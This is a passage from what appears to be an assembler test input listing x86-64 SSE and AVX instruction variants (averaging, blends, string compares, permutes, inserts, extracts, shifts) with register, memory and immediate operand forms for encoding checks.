vpavgb xmm1, xmm2
vpavgb xmm1, [rax]
vpavgb xmm1, dqword [rax]
vpavgb xmm1, xmm2, xmm3
vpavgb xmm1, xmm2, [rax]
vpavgb xmm1, xmm2, dqword [rax]
pavgw xmm1, xmm2
pavgw xmm1, [rax]
pavgw xmm1, dqword [rax]
vpavgw xmm1, xmm2
vpavgw xmm1, [rax]
vpavgw xmm1, dqword [rax]
vpavgw xmm1, xmm2, xmm3
vpavgw xmm1, xmm2, [rax]
vpavgw xmm1, xmm2, dqword [rax]
; implicit XMM0 cannot be VEX encoded
pblendvb xmm1, xmm2
pblendvb xmm1, [rax]
pblendvb xmm1, dqword [rax]
pblendvb xmm1, xmm2, xmm0
pblendvb xmm1, [rax], xmm0
pblendvb xmm1, dqword [rax], xmm0
vpblendvb xmm1, xmm2, xmm3, xmm4
vpblendvb xmm1, xmm2, [rax], xmm4
vpblendvb xmm1, xmm2, dqword [rax], xmm4
pblendw xmm1, xmm2, 5
pblendw xmm1, [rax], byte 5
pblendw xmm1, dqword [rax], 5
vpblendw xmm1, xmm2, 5
vpblendw xmm1, [rax], byte 5
vpblendw xmm1, dqword [rax], 5
vpblendw xmm1, xmm2, xmm3, 5
vpblendw xmm1, xmm2, [rax], byte 5
vpblendw xmm1, xmm2, dqword [rax], 5
pcmpestri xmm1, xmm2, 5
pcmpestri xmm1, [rax], byte 5
pcmpestri xmm1, dqword [rax], 5
vpcmpestri xmm1, xmm2, 5
vpcmpestri xmm1, [rax], byte 5
vpcmpestri xmm1, dqword [rax], 5
pcmpestrm xmm1, xmm2, 5
pcmpestrm xmm1, [rax], byte 5
pcmpestrm xmm1, dqword [rax], 5
vpcmpestrm xmm1, xmm2, 5
vpcmpestrm xmm1, [rax], byte 5
vpcmpestrm xmm1, dqword [rax], 5
pcmpistri xmm1, xmm2, 5
pcmpistri xmm1, [rax], byte 5
pcmpistri xmm1, dqword [rax], 5
vpcmpistri xmm1, xmm2, 5
vpcmpistri xmm1, [rax], byte 5
vpcmpistri xmm1, dqword [rax], 5
pcmpistrm xmm1, xmm2, 5
pcmpistrm xmm1, [rax], byte 5
pcmpistrm xmm1, dqword [rax], 5
vpcmpistrm xmm1, xmm2, 5
vpcmpistrm xmm1, [rax], byte 5
vpcmpistrm xmm1, dqword [rax], 5
pcmpeqb xmm1, xmm2
pcmpeqb xmm1, [rax]
pcmpeqb xmm1, dqword [rax]
vpcmpeqb xmm1, xmm2
vpcmpeqb xmm1, [rax]
vpcmpeqb xmm1, dqword [rax]
vpcmpeqb xmm1, xmm2, xmm3
vpcmpeqb xmm1, xmm2, [rax]
vpcmpeqb xmm1, xmm2, dqword [rax]
pcmpeqw xmm1, xmm2
pcmpeqw xmm1, [rax]
pcmpeqw xmm1, dqword [rax]
vpcmpeqw xmm1, xmm2
vpcmpeqw xmm1, [rax]
vpcmpeqw xmm1, dqword [rax]
vpcmpeqw xmm1, xmm2, xmm3
vpcmpeqw xmm1, xmm2, [rax]
vpcmpeqw xmm1, xmm2, dqword [rax]
pcmpeqd xmm1, xmm2
pcmpeqd xmm1, [rax]
pcmpeqd xmm1, dqword [rax]
vpcmpeqd xmm1, xmm2
vpcmpeqd xmm1, [rax]
vpcmpeqd xmm1, dqword [rax]
vpcmpeqd xmm1, xmm2, xmm3
vpcmpeqd xmm1, xmm2, [rax]
vpcmpeqd xmm1, xmm2, dqword [rax]
pcmpeqq xmm1, xmm2
pcmpeqq xmm1, [rax]
pcmpeqq xmm1, dqword [rax]
vpcmpeqq xmm1, xmm2
vpcmpeqq xmm1, [rax]
vpcmpeqq xmm1, dqword [rax]
vpcmpeqq xmm1, xmm2, xmm3
vpcmpeqq xmm1, xmm2, [rax]
vpcmpeqq xmm1, xmm2, dqword [rax]
pcmpgtb xmm1, xmm2
pcmpgtb xmm1, [rax]
pcmpgtb xmm1, dqword [rax]
vpcmpgtb xmm1, xmm2
vpcmpgtb xmm1, [rax]
vpcmpgtb xmm1, dqword [rax]
vpcmpgtb xmm1, xmm2, xmm3
vpcmpgtb xmm1, xmm2, [rax]
vpcmpgtb xmm1, xmm2, dqword [rax]
pcmpgtw xmm1, xmm2
pcmpgtw xmm1, [rax]
pcmpgtw xmm1, dqword [rax]
vpcmpgtw xmm1, xmm2
vpcmpgtw xmm1, [rax]
vpcmpgtw xmm1, dqword [rax]
vpcmpgtw xmm1, xmm2, xmm3
vpcmpgtw xmm1, xmm2, [rax]
vpcmpgtw xmm1, xmm2, dqword [rax]
pcmpgtd xmm1, xmm2
pcmpgtd xmm1, [rax]
pcmpgtd xmm1, dqword [rax]
vpcmpgtd xmm1, xmm2
vpcmpgtd xmm1, [rax]
vpcmpgtd xmm1, dqword [rax]
vpcmpgtd xmm1, xmm2, xmm3
vpcmpgtd xmm1, xmm2, [rax]
vpcmpgtd xmm1, xmm2, dqword [rax]
pcmpgtq xmm1, xmm2
pcmpgtq xmm1, [rax]
pcmpgtq xmm1, dqword [rax]
vpcmpgtq xmm1, xmm2
vpcmpgtq xmm1, [rax]
vpcmpgtq xmm1, dqword [rax]
vpcmpgtq xmm1, xmm2, xmm3
vpcmpgtq xmm1, xmm2, [rax]
vpcmpgtq xmm1, xmm2, dqword [rax]
vpermilpd xmm1, xmm2, xmm3
vpermilpd xmm1, xmm2, [rax]
vpermilpd xmm1, xmm2, dqword [rax]
vpermilpd ymm1, ymm2, ymm3
vpermilpd ymm1, ymm2, [rax]
vpermilpd ymm1, ymm2, yword [rax]
vpermilpd xmm1, [rax], byte 5
vpermilpd xmm1, dqword [rax], 5
vpermilpd ymm1, [rax], byte 5
vpermilpd ymm1, yword [rax], 5
vpermil2pd xmm1, xmm2, xmm3, xmm4, 5
vpermil2pd xmm1, xmm2, [rax], xmm4, 5
vpermil2pd xmm1, xmm2, dqword [rax], xmm4, 5
vpermil2pd xmm1, xmm2, xmm3, [rax], 5
vpermil2pd xmm1, xmm2, xmm3, dqword [rax], 5
vpermil2pd ymm1, ymm2, ymm3, ymm4, 5
vpermil2pd ymm1, ymm2, [rax], ymm4, 5
vpermil2pd ymm1, ymm2, yword [rax], ymm4, 5
vpermil2pd ymm1, ymm2, ymm3, [rax], 5
vpermil2pd ymm1, ymm2, ymm3, yword [rax], 5
vpermilps xmm1, xmm2, xmm3
vpermilps xmm1, xmm2, [rax]
vpermilps xmm1, xmm2, dqword [rax]
vpermilps ymm1, ymm2, ymm3
vpermilps ymm1, ymm2, [rax]
vpermilps ymm1, ymm2, yword [rax]
vpermilps xmm1, [rax], byte 5
vpermilps xmm1, dqword [rax], 5
vpermilps ymm1, [rax], byte 5
vpermilps ymm1, yword [rax], 5
vpermil2ps xmm1, xmm2, xmm3, xmm4, 5
vpermil2ps xmm1, xmm2, [rax], xmm4, 5
vpermil2ps xmm1, xmm2, dqword [rax], xmm4, 5
vpermil2ps xmm1, xmm2, xmm3, [rax], 5
vpermil2ps xmm1, xmm2, xmm3, dqword [rax], 5
vpermil2ps ymm1, ymm2, ymm3, ymm4, 5
vpermil2ps ymm1, ymm2, [rax], ymm4, 5
vpermil2ps ymm1, ymm2, yword [rax], ymm4, 5
vpermil2ps ymm1, ymm2, ymm3, [rax], 5
vpermil2ps ymm1, ymm2, ymm3, yword [rax], 5
vperm2f128 ymm1, ymm2, ymm3, 5
vperm2f128 ymm1, ymm2, [rax], byte 5
vperm2f128 ymm1, ymm2, yword [rax], 5
pextrb eax, xmm2, 5
pextrb eax, xmm2, byte 5
pextrb rax, xmm2, 5
pextrb rax, xmm2, byte 5
pextrb byte [rax], xmm2, 5
pextrb [rax], xmm2, byte 5
vpextrb eax, xmm2, 5
vpextrb eax, xmm2, byte 5
vpextrb rax, xmm2, 5
vpextrb rax, xmm2, byte 5
vpextrb byte [rax], xmm2, 5
vpextrb [rax], xmm2, byte 5
pextrw eax, xmm2, 5
pextrw eax, xmm2, byte 5
pextrw rax, xmm2, 5
pextrw rax, xmm2, byte 5
pextrw word [rax], xmm2, 5
pextrw [rax], xmm2, byte 5
vpextrw eax, xmm2, 5
vpextrw eax, xmm2, byte 5
vpextrw rax, xmm2, 5
vpextrw rax, xmm2, byte 5
vpextrw word [rax], xmm2, 5
vpextrw [rax], xmm2, byte 5
pextrd eax, xmm2, 5
pextrd eax, xmm2, byte 5
pextrd dword [rax], xmm2, 5
pextrd [rax], xmm2, byte 5
vpextrd eax, xmm2, 5
vpextrd eax, xmm2, byte 5
vpextrd dword [rax], xmm2, 5
vpextrd [rax], xmm2, byte 5
pextrq rax, xmm2, 5
pextrq rax, xmm2, byte 5
pextrq qword [rax], xmm2, 5
pextrq [rax], xmm2, byte 5
vpextrq rax, xmm2, 5
vpextrq rax, xmm2, byte 5
vpextrq qword [rax], xmm2, 5
vpextrq [rax], xmm2, byte 5
phaddw xmm1, xmm2
phaddw xmm1, [rax]
phaddw xmm1, dqword [rax]
vphaddw xmm1, xmm2
vphaddw xmm1, [rax]
vphaddw xmm1, dqword [rax]
vphaddw xmm1, xmm2, xmm3
vphaddw xmm1, xmm2, [rax]
vphaddw xmm1, xmm2, dqword [rax]
phaddd xmm1, xmm2
phaddd xmm1, [rax]
phaddd xmm1, dqword [rax]
vphaddd xmm1, xmm2
vphaddd xmm1, [rax]
vphaddd xmm1, dqword [rax]
vphaddd xmm1, xmm2, xmm3
vphaddd xmm1, xmm2, [rax]
vphaddd xmm1, xmm2, dqword [rax]
phaddsw xmm1, xmm2
phaddsw xmm1, [rax]
phaddsw xmm1, dqword [rax]
vphaddsw xmm1, xmm2
vphaddsw xmm1, [rax]
vphaddsw xmm1, dqword [rax]
vphaddsw xmm1, xmm2, xmm3
vphaddsw xmm1, xmm2, [rax]
vphaddsw xmm1, xmm2, dqword [rax]
phminposuw xmm1, xmm2
phminposuw xmm1, [rax]
phminposuw xmm1, dqword [rax]
vphminposuw xmm1, xmm2
vphminposuw xmm1, [rax]
vphminposuw xmm1, dqword [rax]
phsubw xmm1, xmm2
phsubw xmm1, [rax]
phsubw xmm1, dqword [rax]
vphsubw xmm1, xmm2
vphsubw xmm1, [rax]
vphsubw xmm1, dqword [rax]
vphsubw xmm1, xmm2, xmm3
vphsubw xmm1, xmm2, [rax]
vphsubw xmm1, xmm2, dqword [rax]
phsubd xmm1, xmm2
phsubd xmm1, [rax]
phsubd xmm1, dqword [rax]
vphsubd xmm1, xmm2
vphsubd xmm1, [rax]
vphsubd xmm1, dqword [rax]
vphsubd xmm1, xmm2, xmm3
vphsubd xmm1, xmm2, [rax]
vphsubd xmm1, xmm2, dqword [rax]
phsubsw xmm1, xmm2
phsubsw xmm1, [rax]
phsubsw xmm1, dqword [rax]
vphsubsw xmm1, xmm2
vphsubsw xmm1, [rax]
vphsubsw xmm1, dqword [rax]
vphsubsw xmm1, xmm2, xmm3
vphsubsw xmm1, xmm2, [rax]
vphsubsw xmm1, xmm2, dqword [rax]
pinsrb xmm1, eax, 5
pinsrb xmm1, byte [rax], 5
pinsrb xmm1, [rax], byte 5
vpinsrb xmm1, eax, 5
vpinsrb xmm1, byte [rax], 5
vpinsrb xmm1, [rax], byte 5
vpinsrb xmm1, xmm2, eax, 5
vpinsrb xmm1, xmm2, byte [rax], 5
vpinsrb xmm1, xmm2, [rax], byte 5
pinsrw xmm1, eax, 5
pinsrw xmm1, word [rax], 5
pinsrw xmm1, [rax], byte 5
vpinsrw xmm1, eax, 5
vpinsrw xmm1, word [rax], 5
vpinsrw xmm1, [rax], byte 5
vpinsrw xmm1, xmm2, eax, 5
vpinsrw xmm1, xmm2, word [rax], 5
vpinsrw xmm1, xmm2, [rax], byte 5
pinsrd xmm1, eax, 5
pinsrd xmm1, dword [rax], 5
pinsrd xmm1, [rax], byte 5
vpinsrd xmm1, eax, 5
vpinsrd xmm1, dword [rax], 5
vpinsrd xmm1, [rax], byte 5
vpinsrd xmm1, xmm2, eax, 5
vpinsrd xmm1, xmm2, dword [rax], 5
vpinsrd xmm1, xmm2, [rax], byte 5
pinsrq xmm1, rax, 5
pinsrq xmm1, qword [rax], 5
pinsrq xmm1, [rax], byte 5
vpinsrq xmm1, rax, 5
vpinsrq xmm1, qword [rax], 5
vpinsrq xmm1, [rax], byte 5
vpinsrq xmm1, xmm2, rax, 5
vpinsrq xmm1, xmm2, qword [rax], 5
vpinsrq xmm1, xmm2, [rax], byte 5
pmaddwd xmm1, xmm2
pmaddwd xmm1, [rax]
pmaddwd xmm1, dqword [rax]
vpmaddwd xmm1, xmm2
vpmaddwd xmm1, [rax]
vpmaddwd xmm1, dqword [rax]
vpmaddwd xmm1, xmm2, xmm3
vpmaddwd xmm1, xmm2, [rax]
vpmaddwd xmm1, xmm2, dqword [rax]
pmaddubsw xmm1, xmm2
pmaddubsw xmm1, [rax]
pmaddubsw xmm1, dqword [rax]
vpmaddubsw xmm1, xmm2
vpmaddubsw xmm1, [rax]
vpmaddubsw xmm1, dqword [rax]
vpmaddubsw xmm1, xmm2, xmm3
vpmaddubsw xmm1, xmm2, [rax]
vpmaddubsw xmm1, xmm2, dqword [rax]
pmaxsb xmm1, xmm2
pmaxsb xmm1, [rax]
pmaxsb xmm1, dqword [rax]
vpmaxsb xmm1, xmm2
vpmaxsb xmm1, [rax]
vpmaxsb xmm1, dqword [rax]
vpmaxsb xmm1, xmm2, xmm3
vpmaxsb xmm1, xmm2, [rax]
vpmaxsb xmm1, xmm2, dqword [rax]
pmaxsw xmm1, xmm2
pmaxsw xmm1, [rax]
pmaxsw xmm1, dqword [rax]
vpmaxsw xmm1, xmm2
vpmaxsw xmm1, [rax]
vpmaxsw xmm1, dqword [rax]
vpmaxsw xmm1, xmm2, xmm3
vpmaxsw xmm1, xmm2, [rax]
vpmaxsw xmm1, xmm2, dqword [rax]
pmaxsd xmm1, xmm2
pmaxsd xmm1, [rax]
pmaxsd xmm1, dqword [rax]
vpmaxsd xmm1, xmm2
vpmaxsd xmm1, [rax]
vpmaxsd xmm1, dqword [rax]
vpmaxsd xmm1, xmm2, xmm3
vpmaxsd xmm1, xmm2, [rax]
vpmaxsd xmm1, xmm2, dqword [rax]
pmaxub xmm1, xmm2
pmaxub xmm1, [rax]
pmaxub xmm1, dqword [rax]
vpmaxub xmm1, xmm2
vpmaxub xmm1, [rax]
vpmaxub xmm1, dqword [rax]
vpmaxub xmm1, xmm2, xmm3
vpmaxub xmm1, xmm2, [rax]
vpmaxub xmm1, xmm2, dqword [rax]
pmaxuw xmm1, xmm2
pmaxuw xmm1, [rax]
pmaxuw xmm1, dqword [rax]
vpmaxuw xmm1, xmm2
vpmaxuw xmm1, [rax]
vpmaxuw xmm1, dqword [rax]
vpmaxuw xmm1, xmm2, xmm3
vpmaxuw xmm1, xmm2, [rax]
vpmaxuw xmm1, xmm2, dqword [rax]
pmaxud xmm1, xmm2
pmaxud xmm1, [rax]
pmaxud xmm1, dqword [rax]
vpmaxud xmm1, xmm2
vpmaxud xmm1, [rax]
vpmaxud xmm1, dqword [rax]
vpmaxud xmm1, xmm2, xmm3
vpmaxud xmm1, xmm2, [rax]
vpmaxud xmm1, xmm2, dqword [rax]
pminsb xmm1, xmm2
pminsb xmm1, [rax]
pminsb xmm1, dqword [rax]
vpminsb xmm1, xmm2
vpminsb xmm1, [rax]
vpminsb xmm1, dqword [rax]
vpminsb xmm1, xmm2, xmm3
vpminsb xmm1, xmm2, [rax]
vpminsb xmm1, xmm2, dqword [rax]
pminsw xmm1, xmm2
pminsw xmm1, [rax]
pminsw xmm1, dqword [rax]
vpminsw xmm1, xmm2
vpminsw xmm1, [rax]
vpminsw xmm1, dqword [rax]
vpminsw xmm1, xmm2, xmm3
vpminsw xmm1, xmm2, [rax]
vpminsw xmm1, xmm2, dqword [rax]
pminsd xmm1, xmm2
pminsd xmm1, [rax]
pminsd xmm1, dqword [rax]
vpminsd xmm1, xmm2
vpminsd xmm1, [rax]
vpminsd xmm1, dqword [rax]
vpminsd xmm1, xmm2, xmm3
vpminsd xmm1, xmm2, [rax]
vpminsd xmm1, xmm2, dqword [rax]
pminub xmm1, xmm2
pminub xmm1, [rax]
pminub xmm1, dqword [rax]
vpminub xmm1, xmm2
vpminub xmm1, [rax]
vpminub xmm1, dqword [rax]
vpminub xmm1, xmm2, xmm3
vpminub xmm1, xmm2, [rax]
vpminub xmm1, xmm2, dqword [rax]
pminuw xmm1, xmm2
pminuw xmm1, [rax]
pminuw xmm1, dqword [rax]
vpminuw xmm1, xmm2
vpminuw xmm1, [rax]
vpminuw xmm1, dqword [rax]
vpminuw xmm1, xmm2, xmm3
vpminuw xmm1, xmm2, [rax]
vpminuw xmm1, xmm2, dqword [rax]
pminud xmm1, xmm2
pminud xmm1, [rax]
pminud xmm1, dqword [rax]
vpminud xmm1, xmm2
vpminud xmm1, [rax]
vpminud xmm1, dqword [rax]
vpminud xmm1, xmm2, xmm3
vpminud xmm1, xmm2, [rax]
vpminud xmm1, xmm2, dqword [rax]
pmovmskb eax, xmm1
pmovmskb rax, xmm1
vpmovmskb eax, xmm1
vpmovmskb rax, xmm1
pmovsxbw xmm1, xmm2
pmovsxbw xmm1, [rax]
pmovsxbw xmm1, qword [rax]
vpmovsxbw xmm1, xmm2
vpmovsxbw xmm1, [rax]
vpmovsxbw xmm1, qword [rax]
pmovsxbd xmm1, xmm2
pmovsxbd xmm1, [rax]
pmovsxbd xmm1, dword [rax]
vpmovsxbd xmm1, xmm2
vpmovsxbd xmm1, [rax]
vpmovsxbd xmm1, dword [rax]
pmovsxbq xmm1, xmm2
pmovsxbq xmm1, [rax]
pmovsxbq xmm1, word [rax]
vpmovsxbq xmm1, xmm2
vpmovsxbq xmm1, [rax]
vpmovsxbq xmm1, word [rax]
pmovsxwd xmm1, xmm2
pmovsxwd xmm1, [rax]
pmovsxwd xmm1, qword [rax]
vpmovsxwd xmm1, xmm2
vpmovsxwd xmm1, [rax]
vpmovsxwd xmm1, qword [rax]
pmovsxwq xmm1, xmm2
pmovsxwq xmm1, [rax]
pmovsxwq xmm1, dword [rax]
vpmovsxwq xmm1, xmm2
vpmovsxwq xmm1, [rax]
vpmovsxwq xmm1, dword [rax]
pmovsxdq xmm1, xmm2
pmovsxdq xmm1, [rax]
pmovsxdq xmm1, qword [rax]
vpmovsxdq xmm1, xmm2
vpmovsxdq xmm1, [rax]
vpmovsxdq xmm1, qword [rax]
pmovzxbw xmm1, xmm2
pmovzxbw xmm1, [rax]
pmovzxbw xmm1, qword [rax]
vpmovzxbw xmm1, xmm2
vpmovzxbw xmm1, [rax]
vpmovzxbw xmm1, qword [rax]
pmovzxbd xmm1, xmm2
pmovzxbd xmm1, [rax]
pmovzxbd xmm1, dword [rax]
vpmovzxbd xmm1, xmm2
vpmovzxbd xmm1, [rax]
vpmovzxbd xmm1, dword [rax]
pmovzxbq xmm1, xmm2
pmovzxbq xmm1, [rax]
pmovzxbq xmm1, word [rax]
vpmovzxbq xmm1, xmm2
vpmovzxbq xmm1, [rax]
vpmovzxbq xmm1, word [rax]
pmovzxwd xmm1, xmm2
pmovzxwd xmm1, [rax]
pmovzxwd xmm1, qword [rax]
vpmovzxwd xmm1, xmm2
vpmovzxwd xmm1, [rax]
vpmovzxwd xmm1, qword [rax]
pmovzxwq xmm1, xmm2
pmovzxwq xmm1, [rax]
pmovzxwq xmm1, dword [rax]
vpmovzxwq xmm1, xmm2
vpmovzxwq xmm1, [rax]
vpmovzxwq xmm1, dword [rax]
pmovzxdq xmm1, xmm2
pmovzxdq xmm1, [rax]
pmovzxdq xmm1, qword [rax]
vpmovzxdq xmm1, xmm2
vpmovzxdq xmm1, [rax]
vpmovzxdq xmm1, qword [rax]
pmulhuw xmm1, xmm2
pmulhuw xmm1, [rax]
pmulhuw xmm1, dqword [rax]
vpmulhuw xmm1, xmm2
vpmulhuw xmm1, [rax]
vpmulhuw xmm1, dqword [rax]
vpmulhuw xmm1, xmm2, xmm3
vpmulhuw xmm1, xmm2, [rax]
vpmulhuw xmm1, xmm2, dqword [rax]
pmulhrsw xmm1, xmm2
pmulhrsw xmm1, [rax]
pmulhrsw xmm1, dqword [rax]
vpmulhrsw xmm1, xmm2
vpmulhrsw xmm1, [rax]
vpmulhrsw xmm1, dqword [rax]
vpmulhrsw xmm1, xmm2, xmm3
vpmulhrsw xmm1, xmm2, [rax]
vpmulhrsw xmm1, xmm2, dqword [rax]
pmulhw xmm1, xmm2
pmulhw xmm1, [rax]
pmulhw xmm1, dqword [rax]
vpmulhw xmm1, xmm2
vpmulhw xmm1, [rax]
vpmulhw xmm1, dqword [rax]
vpmulhw xmm1, xmm2, xmm3
vpmulhw xmm1, xmm2, [rax]
vpmulhw xmm1, xmm2, dqword [rax]
pmullw xmm1, xmm2
pmullw xmm1, [rax]
pmullw xmm1, dqword [rax]
vpmullw xmm1, xmm2
vpmullw xmm1, [rax]
vpmullw xmm1, dqword [rax]
vpmullw xmm1, xmm2, xmm3
vpmullw xmm1, xmm2, [rax]
vpmullw xmm1, xmm2, dqword [rax]
pmulld xmm1, xmm2
pmulld xmm1, [rax]
pmulld xmm1, dqword [rax]
vpmulld xmm1, xmm2
vpmulld xmm1, [rax]
vpmulld xmm1, dqword [rax]
vpmulld xmm1, xmm2, xmm3
vpmulld xmm1, xmm2, [rax]
vpmulld xmm1, xmm2, dqword [rax]
pmuludq xmm1, xmm2
pmuludq xmm1, [rax]
pmuludq xmm1, dqword [rax]
vpmuludq xmm1, xmm2
vpmuludq xmm1, [rax]
vpmuludq xmm1, dqword [rax]
vpmuludq xmm1, xmm2, xmm3
vpmuludq xmm1, xmm2, [rax]
vpmuludq xmm1, xmm2, dqword [rax]
pmuldq xmm1, xmm2
pmuldq xmm1, [rax]
pmuldq xmm1, dqword [rax]
vpmuldq xmm1, xmm2
vpmuldq xmm1, [rax]
vpmuldq xmm1, dqword [rax]
vpmuldq xmm1, xmm2, xmm3
vpmuldq xmm1, xmm2, [rax]
vpmuldq xmm1, xmm2, dqword [rax]
por xmm1, xmm2
por xmm1, [rax]
por xmm1, dqword [rax]
vpor xmm1, xmm2
vpor xmm1, [rax]
vpor xmm1, dqword [rax]
vpor xmm1, xmm2, xmm3
vpor xmm1, xmm2, [rax]
vpor xmm1, xmm2, dqword [rax]
psadbw xmm1, xmm2
psadbw xmm1, [rax]
psadbw xmm1, dqword [rax]
vpsadbw xmm1, xmm2
vpsadbw xmm1, [rax]
vpsadbw xmm1, dqword [rax]
vpsadbw xmm1, xmm2, xmm3
vpsadbw xmm1, xmm2, [rax]
vpsadbw xmm1, xmm2, dqword [rax]
pshufb xmm1, xmm2
pshufb xmm1, [rax]
pshufb xmm1, dqword [rax]
vpshufb xmm1, xmm2
vpshufb xmm1, [rax]
vpshufb xmm1, dqword [rax]
vpshufb xmm1, xmm2, xmm3
vpshufb xmm1, xmm2, [rax]
vpshufb xmm1, xmm2, dqword [rax]
pshufd xmm1, xmm2, 5
pshufd xmm1, [rax], byte 5
pshufd xmm1, dqword [rax], 5
vpshufd xmm1, xmm2, 5
vpshufd xmm1, [rax], byte 5
vpshufd xmm1, dqword [rax], 5
pshufhw xmm1, xmm2, 5
pshufhw xmm1, [rax], byte 5
pshufhw xmm1, dqword [rax], 5
vpshufhw xmm1, xmm2, 5
vpshufhw xmm1, [rax], byte 5
vpshufhw xmm1, dqword [rax], 5
pshuflw xmm1, xmm2, 5
pshuflw xmm1, [rax], byte 5
pshuflw xmm1, dqword [rax], 5
vpshuflw xmm1, xmm2, 5
vpshuflw xmm1, [rax], byte 5
vpshuflw xmm1, dqword [rax], 5
psignb xmm1, xmm2
psignb xmm1, [rax]
psignb xmm1, dqword [rax]
vpsignb xmm1, xmm2
vpsignb xmm1, [rax]
vpsignb xmm1, dqword [rax]
vpsignb xmm1, xmm2, xmm3
vpsignb xmm1, xmm2, [rax]
vpsignb xmm1, xmm2, dqword [rax]
psignw xmm1, xmm2
psignw xmm1, [rax]
psignw xmm1, dqword [rax]
vpsignw xmm1, xmm2
vpsignw xmm1, [rax]
vpsignw xmm1, dqword [rax]
vpsignw xmm1, xmm2, xmm3
vpsignw xmm1, xmm2, [rax]
vpsignw xmm1, xmm2, dqword [rax]
psignd xmm1, xmm2
psignd xmm1, [rax]
psignd xmm1, dqword [rax]
vpsignd xmm1, xmm2
vpsignd xmm1, [rax]
vpsignd xmm1, dqword [rax]
vpsignd xmm1, xmm2, xmm3
vpsignd xmm1, xmm2, [rax]
vpsignd xmm1, xmm2, dqword [rax]
; Test these with high regs as it goes into VEX.B (REX.B)
pslldq xmm11, 5
pslldq xmm11, byte 5
vpslldq xmm11, 5
vpslldq xmm11, byte 5
vpslldq xmm11, xmm12, 5
vpslldq xmm11, xmm12, byte 5
pslldq xmm1, 5
pslldq xmm1, byte 5
vpslldq xmm1, 5
vpslldq xmm1, byte 5
vpslldq xmm1, xmm2, 5
vpslldq xmm1, xmm2, byte 5
psrldq xmm1, 5
psrldq xmm1, byte 5
vpsrldq xmm1, 5
vpsrldq xmm1, byte 5
vpsrldq xmm1, xmm2, 5
vpsrldq xmm1, xmm2, byte 5
psllw xmm1, xmm2
psllw xmm1, [rax]
psllw xmm1, dqword [rax]
vpsllw xmm1, xmm2
vpsllw xmm1, [rax]
vpsllw xmm1, dqword [rax]
vpsllw xmm1, xmm2, xmm3
vpsllw xmm1, xmm2, [rax]
vpsllw xmm1, xmm2, dqword [rax]
psllw xmm1, 5
psllw xmm1, byte 5
vpsllw xmm1, 5
vpsllw xmm1, byte 5
vpsllw xmm1, xmm2, 5
vpsllw xmm1, xmm2, byte 5
pslld xmm1, xmm2
pslld xmm1, [rax]
pslld xmm1, dqword [rax]
vpslld xmm1, xmm2
vpslld xmm1, [rax]
vpslld xmm1, dqword [rax]
vpslld xmm1, xmm2, xmm3
vpslld xmm1, xmm2, [rax]
vpslld xmm1, xmm2, dqword [rax]
pslld xmm1, 5
pslld xmm1, byte 5
vpslld xmm1, 5
vpslld xmm1, byte 5
vpslld xmm1, xmm2, 5
vpslld xmm1, xmm2, byte 5
psllq xmm1, xmm2
psllq xmm1, [rax]
psllq xmm1, dqword [rax]
vpsllq xmm1, xmm2
vpsllq xmm1, [rax]
vpsllq xmm1, dqword [rax]
vpsllq xmm1, xmm2, xmm3
vpsllq xmm1, xmm2, [rax]
vpsllq xmm1, xmm2, dqword [rax]
psllq xmm1, 5
psllq xmm1, byte 5
vpsllq xmm1, 5
vpsllq xmm1, byte 5
vpsllq xmm1, xmm2, 5
vpsllq xmm1, xmm2, byte 5
psraw xmm1, xmm2
psraw xmm1, [rax]
psraw xmm1, dqword [rax]
vpsraw xmm1, xmm2
vpsraw xmm1, [rax]
vpsraw xmm1, dqword [rax]
vpsraw xmm1, xmm2, xmm3
vpsraw xmm1, xmm2, [rax]
vpsraw xmm1, xmm2, dqword [rax]
psraw xmm1, 5
psraw xmm1, byte 5
vpsraw xmm1, 5
vpsraw xmm1, byte 5
vpsraw xmm1, xmm2, 5
vpsraw xmm1, xmm2, byte 5
psrad xmm1, xmm2
psrad xmm1, [rax]
psrad xmm1, dqword [rax]
vpsrad xmm1, xmm2
vpsrad xmm1, [rax]
vpsrad xmm1, dqword [rax]
vpsrad xmm1, xmm2, xmm3
vpsrad xmm1, xmm2, [rax]
vpsrad xmm1, xmm2, dqword [rax]
psrad xmm1, 5
psrad xmm1, byte 5
vpsrad xmm1, 5
vpsrad xmm1, byte 5
vpsrad xmm1, xmm2, 5
vpsrad xmm1, xmm2, byte 5
psrlw xmm1, xmm2
psrlw xmm1, [rax]
psrlw xmm1, dqword [rax]
vpsrlw xmm1, xmm2
vpsrlw xmm1, [rax]
vpsrlw xmm1, dqword [rax]
vpsrlw xmm1, xmm2, xmm3
vpsrlw xmm1, xmm2, [rax]
vpsrlw xmm1, xmm2, dqword [rax]
psrlw xmm1, 5
psrlw xmm1, byte 5
vpsrlw xmm1, 5
vpsrlw xmm1, byte 5
vpsrlw xmm1, xmm2, 5
vpsrlw xmm1, xmm2, byte 5
psrld xmm1, xmm2
psrld xmm1, [rax]
psrld xmm1, dqword [rax]
vpsrld xmm1, xmm2
vpsrld xmm1, [rax]
vpsrld xmm1, dqword [rax]
vpsrld xmm1, xmm2, xmm3
vpsrld xmm1, xmm2, [rax]
vpsrld xmm1, xmm2, dqword [rax]
psrld xmm1, 5
psrld xmm1, byte 5
vpsrld xmm1, 5
vpsrld xmm1, byte 5
vpsrld xmm1, xmm2, 5
vpsrld xmm1, xmm2, byte 5
psrlq xmm1, xmm2
psrlq xmm1, [rax]
psrlq xmm1, dqword [rax]
vpsrlq xmm1, xmm2
vpsrlq xmm1, [rax]
vpsrlq xmm1, dqword [rax]
vpsrlq xmm1, xmm2, xmm3
vpsrlq xmm1, xmm2, [rax]
vpsrlq xmm1, xmm2, dqword [rax]
psrlq xmm1, 5
psrlq xmm1, byte 5
vpsrlq xmm1, 5
vpsrlq xmm1, byte 5
vpsrlq xmm1, xmm2, 5
vpsrlq xmm1, xmm2, byte 5
ptest xmm1, xmm2
ptest xmm1, [rax]
ptest xmm1, dqword [rax]
vptest xmm1, xmm2
vptest xmm1, [rax]
vptest xmm1, dqword [rax]
vptest ymm1, ymm2
vptest ymm1, [rax]
vptest ymm1, yword [rax]
vtestps xmm1, xmm2
vtestps xmm1, [rax]
vtestps xmm1, dqword [rax]
vtestps ymm1, ymm2
vtestps ymm1, [rax]
vtestps ymm1, yword [rax]
vtestpd xmm1, xmm2
vtestpd xmm1, [rax]
vtestpd xmm1, dqword [rax]
vtestpd ymm1, ymm2
vtestpd ymm1, [rax]
vtestpd ymm1, yword [rax]
psubb xmm1, xmm2
psubb xmm1, [rax]
psubb xmm1, dqword [rax]
vpsubb xmm1, xmm2
vpsubb xmm1, [rax]
vpsubb xmm1, dqword [rax]
vpsubb xmm1, xmm2, xmm3
vpsubb xmm1, xmm2, [rax]
